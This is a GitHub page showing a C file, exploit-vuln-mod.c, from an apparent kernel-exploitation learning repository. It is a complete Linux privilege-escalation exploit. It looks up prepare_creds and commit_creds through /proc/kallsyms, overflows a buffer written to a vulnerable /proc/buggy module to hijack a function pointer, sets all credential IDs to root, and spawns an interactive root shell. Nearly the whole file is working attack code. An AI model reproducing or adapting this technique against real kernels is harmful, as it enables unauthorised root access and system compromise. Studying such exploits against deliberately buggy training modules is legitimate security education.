forked from ExpLife/kernel-exploitation
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit-vuln-mod.c
234 lines (186 loc) · 5.25 KB
/
exploit-vuln-mod.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
/*
./exploit-vuln-mod
Thread 0 created successfully
Thread 1 created successfully
2
[+] enjoy the shell :)
#
Author: Marcin Kozlowski <[email protected]>
*/
#include<stdio.h>
#include<string.h>
#include<pthread.h>
#include<stdlib.h>
#include<unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/user.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/sched.h>
#define KUIDT_INIT(value) (kuid_t){ value }
#define KGIDT_INIT(value) (kgid_t){ value }
#define GLOBAL_ROOT_UID KUIDT_INIT(0)
#define GLOBAL_ROOT_GID KGIDT_INIT(0)
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
};
#define rcu_head callback_head
#define _LINUX_CAPABILITY_U32S_3 2
#define _KERNEL_CAPABILITY_U32S _LINUX_CAPABILITY_U32S_3
typedef struct kernel_cap_struct {
__u32 cap[_KERNEL_CAPABILITY_U32S];
} kernel_cap_t;
typedef struct {
int counter;
} atomic_t;
typedef struct {
uid_t val;
} kuid_t;
typedef struct {
gid_t val;
} kgid_t;
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
void* (*prepare_creds)(void);
void* (*commit_creds)(void*) __attribute__((regparm(3)));
pthread_t tid[2];
void* doSomeThing1(void *arg)
{
unsigned long i = 0;
pthread_t id = pthread_self();
if(pthread_equal(id,tid[0]))
{
sleep(2);
printf("1\n");
struct cred *new;
new = prepare_creds();
if ( new != NULL )
{
new->uid = GLOBAL_ROOT_UID;
new->gid = GLOBAL_ROOT_GID;
new->euid = GLOBAL_ROOT_UID;
new->egid = GLOBAL_ROOT_GID;
new->suid = GLOBAL_ROOT_UID;
new->sgid = GLOBAL_ROOT_GID;
new->fsuid = GLOBAL_ROOT_UID;
new->fsgid = GLOBAL_ROOT_GID;
commit_creds(new);
}
while(1)
{
printf("uid %d\n", getuid());
}
}
else
{
printf("2\n");
char *args[] = {"/bin/sh", "-i", NULL};
printf("[+] enjoy the shell :)\n");
execve("/bin/sh", args, NULL);
}
return NULL;
}
void create_th(void)
{
int err;
int i = 0;
err = pthread_create(&(tid[i]), NULL, &doSomeThing1, NULL);
if (err != 0)
printf("\ncan't create thread :[%s]", strerror(err));
else
printf("\n Thread %i created successfully\n",i);
i++;
err = pthread_create(&(tid[i]), NULL, &doSomeThing1, NULL);
if (err != 0)
printf("\ncan't create thread :[%s]", strerror(err));
else
printf("\n Thread %i created successfully\n",i);
for(int i=0; i<2; i++)
pthread_join(tid[i], NULL);
}
int main(void)
{
int i = 0;
int err;
FILE *fd;
int ret = 0;
unsigned long addr;
char dummy;
char sname[512];
char buf[20];
*((void**) (buf+16)) = &doSomeThing1;
// Get needed addresses
fd = fopen("/proc/kallsyms", "r");
if(fd == NULL) {
perror("fopen()");
return -1;
}
while(ret != EOF) {
ret = fscanf(fd, "%p %c %sn", (void **)&addr, &dummy, sname);
if(prepare_creds && commit_creds)
break;
else
if(!strncmp(sname, "prepare_creds", 512))
prepare_creds = (void*)addr;
else
if(!strncmp(sname, "commit_creds", 512))
commit_creds = (void*)addr;
}
fd = fopen("/proc/buggy", "w");
if(fd == NULL) {
perror("fopen()");
return -1;
}
fwrite(buf, sizeof(buf),1, fd);
create_th();
fclose(fd);
return 0;
}